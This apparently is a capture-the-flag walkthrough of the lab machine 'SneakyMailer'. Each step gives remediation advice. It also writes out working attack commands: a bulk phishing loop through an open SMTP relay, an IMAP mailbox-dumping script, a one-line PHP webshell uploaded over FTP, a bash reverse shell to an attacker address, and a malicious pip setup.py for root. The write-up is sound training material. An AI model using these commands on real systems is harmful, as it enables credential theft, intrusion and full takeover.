← all walkthroughs

SneakyMailer

Linux· Medium· Web
owned
2026-09-04
time to own
36m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the target's web presence and uncovered a publicly accessible staff directory that enumerated every employee's internal email address. A bulk phishing email containing my own HTTP callback link was relayed through the target's open SMTP server to each harvested address; Paul Byrd's mail client followed the link and transmitted his IMAP credentials in plaintext. Those credentials unlocked his mailbox, where a colleague's internal message disclosed a second credential set — FTP access for the 'developer' service account.

Because that FTP account had direct write access to the web root of the developer sub-site and PHP was enabled site-wide, a one-line PHP webshell was uploaded and served immediately as the web-process user www-data. The same FTP password was accepted by SSH, providing an interactive developer shell; a sudoers entry granting unrestricted pip3 install as root was then abused by installing a locally crafted Python package whose setup.py executed as root and produced a SUID bash binary — yielding full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconVirtual host enumeration / open staff directory (T1589.002)
Discovered virtual hosts and harvested employee email addresses from the staff directory
The bare IP on port 80 returned the default nginx page, but the Host header sneakycorp.htb resolved to a corporate marketing site. A sub-page, team.php, listed every staff member together with their @sneakymailer.htb email address without requiring any authentication, providing a ready-made target list for later phishing.
Curl of sneakycorp.htb/team.php returned airisatou, paulbyrd, and other employee names with full @sneakymailer.htb addresses.
Exact commands 2
Add all discovered vhosts to local resolution.
echo "$TARGET sneakycorp.htb sneakymailer.htb dev.sneakycorp.htb" | sudo tee -a /etc/hosts
Scrape all employee email addresses and save to a target list.
curl -s -H 'Host: sneakycorp.htb' http://$TARGET/team.php | grep -ioE '[[:alnum:]._%+-]+@[[:alnum:].-]+\.htb' | sort -u | tee emails.txt
FixRemove internal email addresses from the public staff directoryMedium
WeaknessThe team.php page was publicly accessible without any authentication and listed every employee's full name and internal @sneakymailer.htb email address, handing an unauthorised user a complete, pre-validated phishing target list at no cost.
FixRemove individual email addresses from the public-facing page entirely, or gate the staff directory behind an authentication requirement. If a public contact point is needed for marketing, replace personal addresses with a generic contact form that routes to the appropriate team internally. Audit all other publicly served pages for similar information disclosure.
2Credential CapturePhishing via unauthenticated SMTP relay (T1566.002) / cleartext credential transmission
Delivered SMTP phishing lure to all employees and captured paulbyrd's IMAP credentials
The SMTP service on port 25 accepted mail relayed from an external, unauthenticated sender to internal mailboxes. A phishing email containing a link to my own HTTP listener was sent to every harvested address using swaks. Paul Byrd's mail client followed the link and transmitted his IMAP credentials as HTTP Basic Auth, which appeared on my listener in base64-encoded form and decoded to his plaintext password.
HTTP listener received a request with Authorization: Basic header; decoded credentials paulbyrd:[REDACTED: recovered credential] were subsequently confirmed valid against IMAP port 143.
Exact commands 3
Start HTTP listener on my machine (run in background); incoming Basic Auth header will appear in listener.log.
python3 -m http.server 80 2>&1 | tee listener.log
Send phishing link to each harvested address; replace $ATTACKER_IP with your tun0 IP.
while IFS= read -r email; do swaks --to "$email" --from "it@sneakycorp.htb" --server $TARGET --port 25 --body "http://$ATTACKER_IP/" --header "Subject: Important Update" 2>&1; done < emails.txt
Decode the Authorization: Basic value captured in listener.log to recover plaintext credentials.
echo '<BASE64_FROM_LISTENER>' | base64 -d
FixBlock unauthenticated SMTP relay from external sendersHigh
WeaknessThe SMTP server on port 25 accepted mail from unauthenticated external sources and delivered it into internal employee mailboxes. This allowed an unauthorised user to impersonate a trusted sender and deliver phishing lures that extracted credentials from employees.
FixConfigure Postfix (or your MTA) to require SASL authentication for all mail submission that does not originate from a trusted internal relay IP range (mynetworks). Dedicate port 587 with mandatory TLS+SASL for outbound client submission and close port 25 at the perimeter firewall for connections that are not inbound MX deliveries. Publish SPF, DKIM, and DMARC DNS records so spoofed sender addresses are rejected by downstream mail servers and spam-filtered by email clients.
3Credential AccessMailbox harvesting via authenticated IMAP (T1114.002)
Logged into paulbyrd's IMAP mailbox and recovered the developer FTP credentials
Courier-IMAP on port 143 accepted the captured credentials for the bare username 'paulbyrd' (not the full email address). Listing mailbox folders and reading all messages in INBOX.Sent surfaced an internal email from a colleague that included the FTP service account username 'developer' and its password in plaintext — the same secret that later granted SSH shell access to the box.
IMAP folder LIST and subsequent FETCH of INBOX.Sent messages returned developer FTP credentials [REDACTED: recovered credential]
Exact commands 1
Enumerate all folders and print every message body; FTP credentials appear in INBOX.Sent.
python3 - <<'PY'
import imaplib, email
M = imaplib.IMAP4("$TARGET", 143)
M.login('paulbyrd', "$PASSWORD")
print(M.list())
for folder in ['INBOX', 'INBOX.Sent', 'INBOX.Trash']:
    M.select(folder)
    _, data = M.search(None, 'ALL')
    for num in data[0].split():
        _, msg = M.fetch(num, '(RFC822)')
        parsed = email.message_from_bytes(msg[0][1])
        print('FOLDER:', folder, '| FROM:', parsed['From'])
        print(parsed.get_payload(decode=True))
M.logout()
PY
FixNever transmit credentials in email; enforce encryption on IMAPHigh
WeaknessA plaintext internal email stored the FTP service account's username and password in the message body. Anyone who gained read access to any one employee's mailbox could silently harvest credentials for unrelated services.
FixEstablish and enforce a policy that credentials, API keys, and secrets are never shared or stored in email. Use a dedicated secrets-management tool (e.g., HashiCorp Vault, Bitwarden for Teams) with access logging, role-based retrieval, and automatic expiry for all credential sharing. Immediately rotate all credentials that have been transmitted via email. For the IMAP service, disable plaintext port 143 and require IMAPS on port 993 with a valid TLS certificate so that credentials are encrypted in transit even when clients are compromised.
4ExploitationFTP write-to-webroot / web shell upload (T1505.003)
Uploaded a PHP webshell to the developer vhost web root via authenticated FTP
The 'developer' FTP account's home directory mapped directly to the document root of the dev.sneakycorp.htb vhost, and the server ran PHP site-wide with no restrictions on the upload directory. A single STOR command dropped a one-line PHP webshell (a.php) into that directory; the file was immediately executable over HTTP with no further configuration required.
Ftplib STOR a.php returned '226 Transfer complete'; ftp.retrlines('LIST a.php') confirmed file presence in /dev.
Exact commands 1
Authenticate to FTP, change to the dev web root, and upload the webshell.
python3 - <<'PY'
from ftplib import FTP
from io import BytesIO
ftp = FTP("$TARGET", timeout=20)
print(ftp.login('developer', "$PASSWORD2"))
ftp.cwd('dev')
print(ftp.storbinary('STOR a.php', BytesIO(b'<?php system($_REQUEST["cmd"]); ?>\n')))
ftp.retrlines('LIST a.php')
ftp.quit()
PY
FixRevoke FTP write access to web-served directories and disable PHP execution in upload pathsCritical
WeaknessThe 'developer' FTP account had write permission to the document root of a PHP-enabled web site. Anyone who obtained those credentials could upload a PHP file and have the web server execute it immediately — with no additional configuration required.
FixReplace direct FTP write access to live web roots with a proper deployment pipeline (CI/CD): developers push to source control, the pipeline validates and deploys. If FTP is unavoidable, restrict its chroot to a staging directory outside the document root and never let it overlap with a PHP-enabled path. Add a PHP-FPM or nginx location block that disables PHP execution in any upload-accessible directory (php_admin_value engine off). Replace FTP with SFTP/SCP so credentials are never transmitted in plaintext. As a defence-in-depth measure, scan all uploaded files for executable content before copying them to production.
5FootholdWeb shell execution (T1505.003)
Executed the webshell via the correct virtual-host header and confirmed remote code execution as www-data
The uploaded file was only reachable through the exact virtual-host header dev.sneakycorp.htb; requests to the bare IP or the sneakymailer.htb variants returned 301 or 404. Once the correct Host header was supplied, HTTP GET requests with a 'cmd' parameter were evaluated by PHP and returned arbitrary OS command output, confirming execution as the nginx/PHP-FPM worker identity www-data.
Curl returned uid=33(www-data) gid=33(www-data) groups=33(www-data).
Exact commands 2
--resolve pins the vhost without editing /etc/hosts; confirms RCE and OS.
curl -s --max-time 10 --resolve dev.sneakycorp.htb:80:$TARGET 'http://dev.sneakycorp.htb/a.php?cmd=id;uname%20-a'
Upgrade to a reverse shell; start nc -lvnp 4444 first. Replace $ATTACKER_IP with your tun0 address.
curl -s --resolve dev.sneakycorp.htb:80:$TARGET --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' 'http://dev.sneakycorp.htb/a.php'
6Lateral MovementCredential reuse across services (T1078 / T1021.004)
Reused FTP credentials over SSH to gain an interactive shell as the developer user
The FTP service account password was identical to the UNIX system login password for the 'developer' user account. SSH on port 22 accepted the same credential, providing a full PTY shell with access to the user's home directory. This bypassed the constraints of the www-data webshell environment and gave me a stable session for privilege-escalation enumeration.
SSH login as developer with the FTP password succeeded; user.txt was readable at /home/developer/user.txt.
Exact commands 2
Authenticate with password [REDACTED: recovered credential] (same as FTP).
ssh developer@$TARGET
Expected output: <user.txt>
cat ~/user.txt
FixAssign unique passwords per service and disable password-based SSH authenticationHigh
WeaknessThe FTP service account and the corresponding UNIX system login for 'developer' shared an identical password. Obtaining one credential automatically granted an interactive SSH shell — a completely different and far more privileged access path.
FixAssign distinct, randomly generated passwords to every service account and prohibit password reuse across services. For SSH shell access, migrate to key-based authentication exclusively and set PasswordAuthentication no in /etc/ssh/sshd_config, then reload sshd. Rotate all credentials that are currently shared across services. Use a secrets manager or a password vault to maintain unique credentials per service, and audit /etc/passwd for accounts that should not have an interactive shell (set their shell to /usr/sbin/nologin).
7Privilege EscalationSudo binary abuse / GTFOBins pip3 (T1548.003)
Abused unrestricted sudo pip3 to install a malicious Python package and gain a root shell
Running sudo -l as developer revealed a passwordless sudoers entry permitting /usr/bin/pip3 install with no argument restrictions. The pip3 install command executes setup.py from the supplied package with the full privileges of the invoking user — in this case root. A minimal Python package was created locally with a setup.py that copied bash to /tmp and set the SUID bit; sudo pip3 install triggered the payload as root, and /tmp/bash -p produced an interactive root shell.
Sudo -l showed (root) NOPASSWD: /usr/bin/pip3; post-install /tmp/bash -p returned effective UID 0; root.txt read from /root/root.txt.
Exact commands 5
Run on the developer SSH session; confirms the pip3 sudo entry.
sudo -l
Create a minimal malicious package; setup.py runs as root during pip3 install.
mkdir -p /tmp/pkg && cat > /tmp/pkg/setup.py <<'EOF'
import os
from setuptools import setup
os.system('cp /bin/bash /tmp/bash && chmod +s /tmp/bash')
setup(name='pwn', version='1.0')
EOF
Triggers the setup.py payload as root, creating SUID /tmp/bash.
sudo /usr/bin/pip3 install /tmp/pkg/
Spawn a root shell via the SUID bash copy; -p preserves the effective UID (euid=0).
/tmp/bash -p
Expected output: <root.txt>
cat /root/root.txt
FixRemove the unrestricted sudo pip3 privilege from the developer accountCritical
WeaknessA sudoers entry permitted the developer account to run /usr/bin/pip3 install as root without a password and with no argument restrictions. Because pip3 executes arbitrary Python code from setup.py during installation, this granted the developer account unconstrained root code execution disguised as a package-management permission.
FixRemove the sudo pip3 entry from /etc/sudoers and any files under /etc/sudoers.d/ immediately. For package installation needs, use a Python virtual environment owned by the developer account — no elevated privileges are required. If system-wide packages genuinely need to be installed by this account, use an internal private PyPI mirror that vets packages before publication, restrict the sudoers entry to a specific trusted local path (not a wildcard), and add a package allowlist. Audit all sudoers entries for other package managers (gem, npm, cargo, easy_install) that carry the same risk, and apply the same removal.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

21/tcp
22/tcp
25/tcp
80/tcp
143/tcp
993/tcp
8080/tcp